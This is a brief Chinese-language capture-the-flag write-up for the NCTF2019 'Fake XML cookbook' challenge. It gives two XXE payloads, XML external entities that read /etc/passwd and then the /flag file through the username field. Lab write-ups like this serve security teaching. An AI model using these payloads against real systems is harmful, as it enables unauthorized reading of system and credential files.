[NCTF2019]Fake XML cookbook

根据题目名字知道是XXE漏洞，直接burp抓包看一下，发现有XML实体

尝试读取下文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>admin</password></user>

一般flag都在根目录下，修改下payload读取flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>admin</password></user>